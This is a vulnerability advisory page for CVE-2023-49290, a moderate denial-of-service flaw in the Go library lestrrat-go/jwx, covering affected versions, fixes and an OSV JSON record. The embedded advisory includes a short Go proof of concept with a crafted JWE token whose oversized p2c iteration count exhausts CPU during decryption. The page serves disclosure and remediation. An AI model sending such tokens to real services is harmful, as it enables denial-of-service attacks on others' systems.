CVE-2023-49290: Github.com/lestrrat go/jwx Denial of Service Vulnerability
MODERATECVE-2023-49290 is a MODERATE (CVSS 5.3) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Github.com/lestrrat go/jwx libraries in the Go ecosystem. The issue involves lestrrat-go/jwx's malicious parameters in jwe can cause a dos. Remediation is available by upgrading affected packages to version 1.2.27, 2.0.18.
CVE-2023-49290 at a Glance
Security Impact
CVSS: 5.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).
How to Fix CVE-2023-49290
To remediate this vulnerability, upgrade all affected Github.com/lestrrat go/jwx dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/lestrrat-go/jwx to 1.2.27Upgrade github.com/lestrrat-go/jwx/v2 to 2.0.18Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/lestrrat-go/jwxHow to Check if You Are Affected
To determine whether your application is affected by CVE-2023-49290, inspect your project dependencies for Github.com/lestrrat go/jwx:
inspect dependencies for github.com/lestrrat-go/jwxAnalyze the terminal output to locate any version of Github.com/lestrrat go/jwx in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.2.27), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Github.com/lestrrat go/jwx, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2023-49290 Affected Github.com/lestrrat go/jwx Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/lestrrat-go/jwx
|
Go |
< 1.2.27
|
1.2.27
|
|
github.com/lestrrat-go/jwx/v2
|
Go |
< 2.0.18
|
2.0.18
|
References
Frequently Asked Questions
What is CVE-2023-49290?
Which Github.com/lestrrat go/jwx versions are affected?
What version fixes CVE-2023-49290?
Is github.com/lestrrat-go/jwx affected?
Is github.com/lestrrat-go/jwx/v2 affected?
What is the CVSS score of CVE-2023-49290?
What CWE is associated with CVE-2023-49290?
How can I check Go dependencies for CVE-2023-49290?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-7f9x-gw85-8grf",
"modified" : "2023-12-05T23:29:26Z",
"published" : "2023-12-05T23:29:26Z",
"aliases" : [ "CVE-2023-49290" ],
"summary" : "lestrrat-go/jwx's malicious parameters in JWE can cause a DOS",
"details" : "### Summary\ntoo high p2c parameter in JWE's alg PBES2-* could lead to a DOS attack\n\n### Details\nThe JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive.\nTherefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack\n\n### PoC\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"github.com/lestrrat-go/jwx/v2/jwa\"\n\t\"github.com/lestrrat-go/jwx/v2/jwe\"\n\t\"github.com/lestrrat-go/jwx/v2/jwk\"\n)\n\nfunc main() {\n\ttoken := []byte(\"eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6i_TaGsgqEOxU-1Sgdakp4mHq7UVhn-_REzOiGz2gg.gU_LfzhBXtQdwYjh.9QUIS-RWkLc.m9TudmzUoCzDhHsGGfzmCA\")\n\tkey, err := jwk.FromRaw([]byte(`abcdefg`))\n\tpayload, err := jwe.Decrypt(token, jwe.WithKey(jwa.PBES2_HS256_A128KW, key))\n\tif err == nil {\n\t\tfmt.Println(string(payload))\n\t}\n}\n\n```\n\n### Impact\nIt's a kind of Dos attack, the user's environment could potentially utilize an excessive amount of CPU resources.\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/lestrrat-go/jwx"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.2.27"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/lestrrat-go/jwx/v2"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.0.18"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/lestrrat-go/jwx/security/advisories/GHSA-7f9x-gw85-8grf"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-49290"
}, {
"type" : "WEB",
"url" : "https://github.com/lestrrat-go/jwx/commit/64f2a229b8e18605f47361d292b526bdc4aee01c"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/lestrrat-go/jwx"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2023-12-05T23:29:26Z",
"nvd_published_at" : "2023-12-05T00:15:09Z"
}
}